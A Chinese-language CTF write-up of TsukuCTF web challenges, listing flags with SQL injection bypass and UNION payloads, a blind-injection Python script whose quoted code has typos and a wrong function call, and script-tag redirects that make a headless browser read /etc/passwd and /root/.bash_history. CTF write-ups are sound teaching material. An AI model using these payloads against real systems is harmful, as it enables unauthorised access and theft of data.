这两天又开始有点摆烂的迹象,于是把周末的ctf看看wp,水一水,复现一下
另外这个ctf最痛苦的地方在于是英日夹杂,我开始懂歪果仁做中文比赛页面的时候有多痛苦了
Web/logonly
给出的是一个有214155行的日志文件,只有第214154行返回200ok
显然是进行了一个字典攻击,在第214154次尝试时撞对了,我们下载一份kali里的rockyou.txt中看一下214154是个啥(有提示用到kali进行攻击)
TsukuCTF{qwertyuiop[]\\}
Web/digits
一个fastapi站,但是要求不是很高的样子
加号放到url中相当于半角空格
TsukuCTF{you_are_lucky_Tsukushi}
Web/login
登录框,万能密码admin'or 1#
TsukuCTF{You_4r3_SUP3R_H4CKER}
一般这种简单的登录都是万能密码,但是也得多试一试,加个注释符啊 分号什么的
Web/login2
说是代码重构过了
再用上面的万能密码登入会显示这个站的所有账号
说明还是有sqli,尝试一下联合注入admin'or 1 union select null,null#
,跟上面是一样的回显,说明有两列,然后是愉快的注入(每一次的回显在页面的末尾,注意这个是最初要找到并确认的)
admin'or 1 union select table_name,null from information_schema.columns#
admin'or 1 union select column_name,null from information_schema.columns where table_name='super_secret_table'#
admin'or 1 union select secret,null from super_secret_table#
TsukuCTF{50_muCh_GR3AT_Hacker_!ND3ED}
Web/login3
依然是存在sqli,用上面的两个payload都能回显正常,但是没有明确的信息,应该是需要盲注了
import requests
def _execAnyQuery_core(query, pos, mid):
url = ""
params = {
"name": "'or ascii(substring(({0}),{1},1))>={2};#".format(query, pos, mid),
"password": "a"
}
page = requests.post(url, data = params)
return "ようこそ" in page.text
def _execAnyQuery(query, pos):
low = 0
high = 256
while high - low > 1:
mid = (high + low) // 2
if _execAnyQuery(query, pos, mid):
low = mid
else:
high = mid
return low
def execAnyQuery(query):
i = 1
while True:
char = int(_execAnyQuery(query, i))
if char == 0:
return
print(chr(char), end="")
i += 1
execAnyQuery("select version()")
for i in range(100):
execAnyQuery("select distinct table_name from information_schema.columnns limit 1 offset {0}".format(i))
print()
for i in range(10):
execAnyQuery("select distinct column_name from information_shcema.columns where table_name='urtla_secret_tsukushi'limit 1 offset {0}".format(i))
print()
for i in range(33):
execAnyQuery("select secret from urtla_secret_tsukushi_limit 1 offset {0}".format(i))
这是官方wp里的二分法脚本,把简单的事拆成了3个函数,倒是也好,可复用性max
TsukuCTF{U_Are_Geni0us_T$UKUSH1}
Web/Journey
抓包看,有很多307重定向,还以为是跟之前那个一样要跑一下一千多次的重定向,但是这个重定向是有限度的,最后的位置是/problems/journey/goal,回显405错误
看wp,学到了
curl -H 'Referer: https://tsukuctf.sechack365.com/problems/journey/railway/1' -X CONNECT https://tsukuctf.sechack365.com/problems/journey/goal
利用的是http请求中的connect方法,相关内容可参见->CONNECT(MDN) | HTTP之connect method
Web/gyOTAKU
满足17行要求的话会通过chromium browser来返回一个截图
我们构造一个如下的html页面
<script>alert(1);</script>
返回500错误,再试一下
<script>location.href="/etc/passwd"</script>
成功返回
用一下我们的老朋友/root/.bash_history
<script>location.href="/root/.bash_history"</script>
可以读一下flag了
<script>location.href="/root/flagc464f9eba1.txt"</script>
TsukuCTF{Tsukushi_to_Sugina_no_chigai_ga_wakaran}
水一篇wp,水水更健康